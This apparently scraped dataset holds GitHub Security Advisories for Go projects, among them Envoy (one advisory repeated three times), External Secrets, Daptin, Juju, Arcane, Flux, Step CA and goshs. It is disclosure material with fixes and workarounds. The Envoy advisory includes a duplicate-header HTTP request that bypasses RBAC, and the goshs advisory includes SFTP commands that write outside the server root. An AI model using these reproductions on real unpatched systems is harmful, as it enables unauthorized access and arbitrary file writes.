deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-ghc4-35x6-crw5
Package: github.com/envoyproxy/envoy (GO)
Severity: HIGH (CVSS 7.5)
CWE: CWE-20: Improper Input Validation, CWE-863: Incorrect Authorization
Vulnerable versions: >= 1.35.0, <= 1.35.8
Patched in: 1.35.9

Summary: Envoy has RBAC Header Validation Bypass via Multi-Value Header Concatenation

Details:
## 1. Summary
The Envoy RBAC (Role-Based Access Control) filter contains a logic vulnerability in how it validates HTTP headers when multiple values are present for the same header name. Instead of validating each header value individually, Envoy concatenates all values into a single comma-separated string. This behavior allows attackers to bypass RBAC policies—specifically "Deny" rules—by sending duplicate headers, effectively obscuring the malicious value from exact-match mechanisms.

## 2. Attack Scenario
Consider an environment where an administrator wants to block external access to internal resources using a specific header flag.

### Configuration
The Envoy proxy is configured with a **Deny** rule to reject requests containing the header `internal: true`.
* **Rule Type:** Exact Match
* **Target:** `internal` header must not equal `true`.

### The Bypass Logic
1.  **Standard Request (Blocked):**
    * **Input:** `internal: true`
    * **Envoy Processing:** Sees string `"true"`.
    * **Result:** Match found. **Request Denied.**

2.  **Exploit Request (Bypassed):**
    * **Input:**
        ```http
        internal: true
        internal: true
        ```
    * **Envoy Processing:** Concatenates values into `"true,true"`.
    * **Matcher Evaluation:** Does `"true,true"` equal `"true"`? **No.**
    * **Result:** The Deny rule fails to trigger. **Request Allowed.**

## 3. Implications
* **RBAC Bypass:** Remote attackers can bypass configured access controls.
* **Unauthorized Access:** Sensitive internal resources or administrative endpoints protected by header-based Deny rules become accessible.
* **Risk:** High, particularly for deployments relying on "Exact Match" strategies for security blocking.

## 4. Reproduction Steps
To verify this vulnerability:

1.  **Deploy Envoy:** Configure an instance with an RBAC **Deny** rule that performs an **exact match** on a specific header (e.g., `internal: true`).
2.  **Baseline Test:** Send a request containing the header `internal: true`.
    * *Observation:* Envoy blocks this request (HTTP 403).
3.  **Exploit Test:** Send a second request containing the same header twice:
    ```http
    GET /restricted-resource HTTP/1.1
    Host: example.com
    internal: true
    internal: true
    ```
    * *Observation:* Envoy allows the request, granting access to the resource.

## 6. Recommendations
**Fix Header Validation Logic:**
Modify the RBAC filter to validate each header value instance individually. Avoid relying on the concatenated string output of `getAllOfHeaderAsString()` for security-critical matching unless the matcher is explicitly designed to parse comma-separated lists.

** Examine the DENY role to use a Regex style fix.

**Credit:** Dor Konis
GitHub Security Advisory: GHSA-ghc4-35x6-crw5
Package: github.com/envoyproxy/envoy (GO)
Severity: HIGH (CVSS 7.5)
CWE: CWE-20: Improper Input Validation, CWE-863: Incorrect Authorization
Vulnerable versions: >= 1.36.0, <= 1.36.4
Patched in: 1.36.5

Summary: Envoy has RBAC Header Validation Bypass via Multi-Value Header Concatenation

Details:
## 1. Summary
The Envoy RBAC (Role-Based Access Control) filter contains a logic vulnerability in how it validates HTTP headers when multiple values are present for the same header name. Instead of validating each header value individually, Envoy concatenates all values into a single comma-separated string. This behavior allows attackers to bypass RBAC policies—specifically "Deny" rules—by sending duplicate headers, effectively obscuring the malicious value from exact-match mechanisms.

## 2. Attack Scenario
Consider an environment where an administrator wants to block external access to internal resources using a specific header flag.

### Configuration
The Envoy proxy is configured with a **Deny** rule to reject requests containing the header `internal: true`.
* **Rule Type:** Exact Match
* **Target:** `internal` header must not equal `true`.

### The Bypass Logic
1.  **Standard Request (Blocked):**
    * **Input:** `internal: true`
    * **Envoy Processing:** Sees string `"true"`.
    * **Result:** Match found. **Request Denied.**

2.  **Exploit Request (Bypassed):**
    * **Input:**
        ```http
        internal: true
        internal: true
        ```
    * **Envoy Processing:** Concatenates values into `"true,true"`.
    * **Matcher Evaluation:** Does `"true,true"` equal `"true"`? **No.**
    * **Result:** The Deny rule fails to trigger. **Request Allowed.**

## 3. Implications
* **RBAC Bypass:** Remote attackers can bypass configured access controls.
* **Unauthorized Access:** Sensitive internal resources or administrative endpoints protected by header-based Deny rules become accessible.
* **Risk:** High, particularly for deployments relying on "Exact Match" strategies for security blocking.

## 4. Reproduction Steps
To verify this vulnerability:

1.  **Deploy Envoy:** Configure an instance with an RBAC **Deny** rule that performs an **exact match** on a specific header (e.g., `internal: true`).
2.  **Baseline Test:** Send a request containing the header `internal: true`.
    * *Observation:* Envoy blocks this request (HTTP 403).
3.  **Exploit Test:** Send a second request containing the same header twice:
    ```http
    GET /restricted-resource HTTP/1.1
    Host: example.com
    internal: true
    internal: true
    ```
    * *Observation:* Envoy allows the request, granting access to the resource.

## 6. Recommendations
**Fix Header Validation Logic:**
Modify the RBAC filter to validate each header value instance individually. Avoid relying on the concatenated string output of `getAllOfHeaderAsString()` for security-critical matching unless the matcher is explicitly designed to parse comma-separated lists.

** Examine the DENY role to use a Regex style fix.

**Credit:** Dor Konis
GitHub Security Advisory: GHSA-ghc4-35x6-crw5
Package: github.com/envoyproxy/envoy (GO)
Severity: HIGH (CVSS 7.5)
CWE: CWE-20: Improper Input Validation, CWE-863: Incorrect Authorization
Vulnerable versions: = 1.37.0
Patched in: 1.37.1

Summary: Envoy has RBAC Header Validation Bypass via Multi-Value Header Concatenation

Details:
## 1. Summary
The Envoy RBAC (Role-Based Access Control) filter contains a logic vulnerability in how it validates HTTP headers when multiple values are present for the same header name. Instead of validating each header value individually, Envoy concatenates all values into a single comma-separated string. This behavior allows attackers to bypass RBAC policies—specifically "Deny" rules—by sending duplicate headers, effectively obscuring the malicious value from exact-match mechanisms.

## 2. Attack Scenario
Consider an environment where an administrator wants to block external access to internal resources using a specific header flag.

### Configuration
The Envoy proxy is configured with a **Deny** rule to reject requests containing the header `internal: true`.
* **Rule Type:** Exact Match
* **Target:** `internal` header must not equal `true`.

### The Bypass Logic
1.  **Standard Request (Blocked):**
    * **Input:** `internal: true`
    * **Envoy Processing:** Sees string `"true"`.
    * **Result:** Match found. **Request Denied.**

2.  **Exploit Request (Bypassed):**
    * **Input:**
        ```http
        internal: true
        internal: true
        ```
    * **Envoy Processing:** Concatenates values into `"true,true"`.
    * **Matcher Evaluation:** Does `"true,true"` equal `"true"`? **No.**
    * **Result:** The Deny rule fails to trigger. **Request Allowed.**

## 3. Implications
* **RBAC Bypass:** Remote attackers can bypass configured access controls.
* **Unauthorized Access:** Sensitive internal resources or administrative endpoints protected by header-based Deny rules become accessible.
* **Risk:** High, particularly for deployments relying on "Exact Match" strategies for security blocking.

## 4. Reproduction Steps
To verify this vulnerability:

1.  **Deploy Envoy:** Configure an instance with an RBAC **Deny** rule that performs an **exact match** on a specific header (e.g., `internal: true`).
2.  **Baseline Test:** Send a request containing the header `internal: true`.
    * *Observation:* Envoy blocks this request (HTTP 403).
3.  **Exploit Test:** Send a second request containing the same header twice:
    ```http
    GET /restricted-resource HTTP/1.1
    Host: example.com
    internal: true
    internal: true
    ```
    * *Observation:* Envoy allows the request, granting access to the resource.

## 6. Recommendations
**Fix Header Validation Logic:**
Modify the RBAC filter to validate each header value instance individually. Avoid relying on the concatenated string output of `getAllOfHeaderAsString()` for security-critical matching unless the matcher is explicitly designed to parse comma-separated lists.

** Examine the DENY role to use a Regex style fix.

**Credit:** Dor Konis
GitHub Security Advisory: GHSA-r2pg-r6h7-crf3
Package: github.com/external-secrets/external-secrets (GO)
Severity: HIGH (CVSS 6.5)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable versions: >= 2.0.0, <= 2.2.0
Patched in: unpatched

Summary: External Secrets Operator has DNS-based secret exfiltration via getHostByName in External Secrets v2 template engine

Details:
## Summary

The v2 template engine in `runtime/template/v2/template.go` imports Sprig’s `TxtFuncMap()` and removes `env` and `expandenv`, but leaves `getHostByName` available to user-controlled  templates. Because ESO executes templates inside the controller process, an attacker who can create or update templated ExternalSecret resources can trigger controller-side DNS lookups using secret-derived values, creating a DNS exfiltration primitive.

### Impact
This is a confidentiality issue. In environments where untrusted or lower-trust users can author templated ExternalSecret resources and the controller can perform DNS resolution, fetched secret material can be exfiltrated through DNS without requiring direct outbound access from the attacker’s workload.
GitHub Security Advisory: GHSA-r2pg-r6h7-crf3
Package: github.com/external-secrets/external-secrets (GO)
Severity: HIGH (CVSS 6.5)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable versions: < 1.3.3-0[PII_REDACTED]2[PII_REDACTED]bdc12
Patched in: 1.3.3-0[PII_REDACTED]2[PII_REDACTED]bdc12

Summary: External Secrets Operator has DNS-based secret exfiltration via getHostByName in External Secrets v2 template engine

Details:
## Summary

The v2 template engine in `runtime/template/v2/template.go` imports Sprig’s `TxtFuncMap()` and removes `env` and `expandenv`, but leaves `getHostByName` available to user-controlled  templates. Because ESO executes templates inside the controller process, an attacker who can create or update templated ExternalSecret resources can trigger controller-side DNS lookups using secret-derived values, creating a DNS exfiltration primitive.

### Impact
This is a confidentiality issue. In environments where untrusted or lower-trust users can author templated ExternalSecret resources and the controller can perform DNS resolution, fetched secret material can be exfiltrated through DNS without requiring direct outbound access from the attacker’s workload.
GitHub Security Advisory: GHSA-9cp7-j3f8-p5jx
Package: github.com/daptin/daptin (GO)
Severity: CRITICAL (CVSS 10.0)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: <= 0.11.3
Patched in: 0.12.0

Summary: Daptin has Unauthenticated Path Traversal and Zip Slip

Details:
### Impact
The `cloudstore.file.upload` action in `server/actions/action_cloudstore_file_upload.go` writes user-supplied filenames directly to disk without proper validation. 

This allows unauthenticated attackers to perform path traversal and zip slip attacks, leading to arbitrary file write and potential remote code execution.

**CVSS Score:** 10.0 Critical
**CVSS Vector:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H
**CWE:** CWE-22 (Path Traversal)

### Patches

Upgrade to a patched version once released. The vulnerability affects all versions <= v0.11.3 (latest).

### Workarounds

Restrict access to the cloudstore.file.upload action through authentication and authorization controls until a patch is available.
GitHub Security Advisory: GHSA-w5fq-8965-c969
Package: github.com/juju/juju (GO)
Severity: CRITICAL (CVSS 9.9)
CWE: CWE-285: Improper Authorization
Vulnerable versions: < 0.0.0[PII_REDACTED]3526-d395054dc2c3
Patched in: 0.0.0[PII_REDACTED]3526-d395054dc2c3

Summary: Juju: CloudSpec method leaking cloud credentials

Details:
### Impact

If a user has login permission to a controller and knows the controller model UUID, they can call the CloudSpec method on the Controller facade and get cloud credentials used to bootstrap the controller.

The CloudSpec API is called by workers running in the controller to maintain connection to the cloud - this aspect is not the issue. The  API is also called by the CLI when killing (force destroying a controller with `juju kill-controller`). This is the problematic aspect. The API is exposed to any client caller where that client has nothing more than logon permission on the controller. What should happen is that getting access to the credential should be limited to those client connections where the authenticated user has superuser or model admin permission.

This affect 2.9, 3.6, 4.0.6 (snap from 4.0/edge channel).

The fix will allow non-confidential, public information like cloud endpoint etc to be read, but only controller superusers or model admins will be able to see the credential details.

### Patches

No patch exists.

### Workarounds

The only mitigation is to restrict ingress to the controller API port 17070 on all controller machines (for vm deployments) or the controller service (for k8s deployments). The Juju CLI and other clients like libjuju or JAAS require ingress to port 17070 so any restricted access will need to take into account those access requirements.
GitHub Security Advisory: GHSA-ff24-4prj-gpmj
Package: github.com/getarcaneapp/arcane/backend (GO)
Severity: HIGH (CVSS 7.2)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: <= 1.17.2
Patched in: 1.17.3

Summary: Arcane has Unauthenticated SSRF with Conditional Response Reflection in Template Fetch Endpoint

Details:
### Summary
The /api/templates/fetch endpoint accepts a caller-supplied url parameter and performs a server-side HTTP GET request to that URL without authentication and without URL scheme or host validation. The server's response is returned directly to the caller. type. This constitutes an unauthenticated SSRF vulnerability affecting any publicly reachable Arcane instance.

### Details
- No allowlist or denylist of destination hosts/CIDRs
- No requirement for the caller to be authenticated

Response handling produces four distinct outcomes observable by the caller: 
- Valid JSON targets return a fully reflected response body if the returned fields fit the expected internal struct
- Non-JSON HTTP 200 responses produce an error leaking the first byte of the response (`"Invalid JSON response: invalid character '<'..."`)
- Non-200 responses leak the HTTP status code
- TCP-level failures distinguish between closed ports (`"connection refused"`) and filtered ones (`"i/o timeout"`)

### PoC
Send an unauthenticated GET request to `/api/templates/fetch`, passing the target URL as the `url` query parameter.

<img width="1041" height="375" alt="image" src="https://github.com/user-attachments/assets/f9fd475e-90b0-4dec-95e1-0af6263f5bb5" />

### Impact
- Unauthenticated port scanning of internal networks
- Access to internal HTTP services not exposed to the public internet (service discovery endpoints, internal dashboards, Kubernetes API)
GitHub Security Advisory: GHSA-h9cx-xjg6-5v2w
Package: github.com/fluxcd/notification-controller (GO)
Severity: LOW (CVSS 3.1)
CWE: CWE-287: Improper Authentication, CWE-345: Insufficient Verification of Data Authenticity
Vulnerable versions: < 1.8.3
Patched in: 1.8.3

Summary: Flux notification-controller GCR Receiver missing email validation allows unauthorized reconciliation triggering

Details:
### Impact

The `gcr` Receiver type in Flux notification-controller does not validate the `email` claim of Google OIDC tokens used for Pub/Sub push authentication. This allows any valid Google-issued token, to authenticate against the Receiver webhook endpoint, triggering unauthorized Flux reconciliations.

Exploitation requires the attacker to know the Receiver's webhook URL. The webhook path is generated as `/hook/sha256sum(token+name+namespace)`, where the token is a random string stored in a Kubernetes Secret. There is no API or endpoint that enumerates webhook URLs. An attacker cannot discover the path without either having access to the cluster and permissions to read the Receiver's `.status.webhookPath` in the target namespace, or obtaining the URL through other means (e.g. leaked secrets or access to Pub/Sub config).

Upon successful authentication, the controller triggers a reconciliation for all resources listed in the Receiver's `.spec.resources`. However, the practical impact is limited: Flux reconciliation is idempotent, so if the desired state in the configured sources (Git, OCI, Helm) has not changed, the reconciliation results in a no-op with no effect on cluster state. Additionally, Flux controllers deduplicate reconciliation requests, sending many requests in a short period results in only a single reconciliation being processed.

### Patches

The fix in notification-controller v1.8.3 refactors the GCR Receiver authentication to allow users to extend the verification to `email` and `audience` claims in the JWT. This enables operators to configure their Receiver's secret with the expected GCP Service Account email and audience, which the controller will validate against the token's claims before accepting the request.

Email validation example:

```yaml
apiVersion: v1
kind: Secret
metadata:
  name: gcr-webhook-token
  namespace: apps
type: Opaque
stringData:
  token: <random token>
  email: <service-account>@<project>.iam.gserviceaccount.com
  audience: https://<hostname>/hook/<sha256(token+name+namespace)>
```

For more information, please see the GCR Receiver documentation: https://fluxcd.io/flux/components/notification/receivers/#gcr


### Credits

Thanks to Saroj Khadka for reporting this issue to the Flux Security Team.
GitHub Security Advisory: GHSA-9qq8-cgcv-qmc9
Package: github.com/smallstep/certificates (GO)
Severity: LOW (CVSS 3.7)
CWE: CWE-129: Improper Validation of Array Index
Vulnerable versions: >= 0.24.0, < 0.30.0
Patched in: 0.30.0

Summary: Step CA affected by an index out of bounds panic in TPM attestation EKU validation

Details:
# Summary

An attacker can trigger an index out-of-bounds panic in Step CA by sending a crafted attestation key (AK) certificate with an empty Extended Key Usage (EKU) extension during TPM device attestation.

## Details

When processing a device-attest-01 ACME challenge using TPM attestation, Step CA validates that the AK certificate contains the tcg-kp-AIKCertificate Extended Key Usage OID. During this validation, the EKU extension value is decoded from its ASN.1 representation and the first element is checked. A crafted certificate could include an EKU extension that decodes to an empty sequence, causing the code to panic when accessing the first element of the empty slice.

This vulnerability is only reachable when a device-attest-01 ACME challenge with TPM attestation is configured. Deployments not using TPM device attestation are not affected.

## Mitigations

If you are unable to upgrade to v0.30.0 or newer, the attack can be mitigated by disabling or removing any ACME provisioners that use TPM device attestation (device-attest-01).

## Fix

In v0.30.0, a bounds check was added to validateAKCertificateExtendedKeyUsage so that an empty EKU sequence is treated as a validation failure rather than causing a panic.

## Acknowledgements

This issue was identified and reported by @1seal (Oleh Konko).

## Embargo List

If your organization runs Step CA in production and would like advance, embargoed notification of future security updates, visit https://u.step.sm/disclosure to request inclusion on our embargo list.

Stay safe, and thank you for helping us keep the ecosystem secure.
GitHub Security Advisory: GHSA-2943-crp8-38xx
Package: github.com/patrickhener/goshs (GO)
Severity: HIGH (CVSS 7.7)
CWE: CWE-1314: Missing Write Protection for Parametric Data Values
Vulnerable versions: >= 1.0.7, <= 1.1.4
Patched in: unpatched

Summary: goshs is Missing Write Protection for Parametric Data Values

Details:
### Summary
The SFTP command rename sanitizes only the source path and not the destination, so it is possible to write outside of the root directory of the SFTP. 

### Details

Here is the issue:
```go
// helper.go:155-215
func cmdFile(root string, r *sftp.Request, ip string, sftpServer *SFTPServer) error {
    fullPath, err := sanitizePath(r.Filepath, root)  // Source: SANITIZED
    if err != nil {
        return err
    }
    switch r.Method {
    // ...
    case "Rename":
        err := os.Rename(fullPath, r.Target)  // Destination: NOT SANITIZED!
```


### PoC

To exploit just upload a file on the SFTP and rename it to a file with full path. 

Currently no key.txt file inside /tmp

``` bash
$ ls key.txt
ls: key.txt: No such file or directory
```


Start the SFTP server:
``` bash
/tmp/sftp-server $ goshs -sftp -b 'user:user' -d .
WARNING[2026-04-02 20:00:18] upload-folder mode deactivated due to use of 'sftp' mode
WARNING[2026-04-02 20:00:18] There is a newer Version (v2.0.0-beta.3) of goshs available. Run --update to update goshs.
INFO   [2026-04-02 20:00:18] Starting SFTP server on port 0.0.0.0:2022
WARNING[2026-04-02 20:00:18] You are using basic auth without SSL. Your credentials will be transferred in cleartext. Consider using -s, too.
INFO   [2026-04-02 20:00:18] Using basic auth with user 'user' and password 'user'
INFO   [2026-04-02 20:00:18] Download embedded file at: /example.txt?embedded
INFO   [2026-04-02 20:00:18] Serving on interface lo0 bound to 127.0.0.1:8000
INFO   [2026-04-02 20:00:18] Serving on interface en0 bound to 192.168.68.51:8000
INFO   [2026-04-02 20:00:18] Serving HTTP from /tmp/sftp-server
```

Connect to the SFTP and uploading the file:
``` bash
$ sftp -P 2022 user@localhost
user@localhost's [CREDENTIAL_REDACTED] to localhost.
sftp> put /Users/user/Downloads/key.txt
Uploading /Users/user/Downloads/key.txt to /tmp/sftp-server/key.txt
key.txt                                                                                                                                                   100%   15    40.9KB/s   00:00
```

The file is stored properly. 

goshs log:
```
INFO   [2026-04-02 20:03:31] SFTP: [::1]:61742 - [Put] - "/tmp/sftp-server/key.txt"
```

Rename command with full path:
``` bash
sftp> rename key.txt /tmp/key.txt
```

goshs log:
```
INFO   [2026-04-02 20:04:09] SFTP: [::1]:61742 - [Rename] - "/tmp/sftp-server/key.txt to /tmp/key.txt"
```

Key file is now in /tmp
```
$ ls key.txt
key.txt
```


### Impact
This allows file write and can be used either for an RCE in form of overwrite an SSH key, or by overwriting a configuration etc.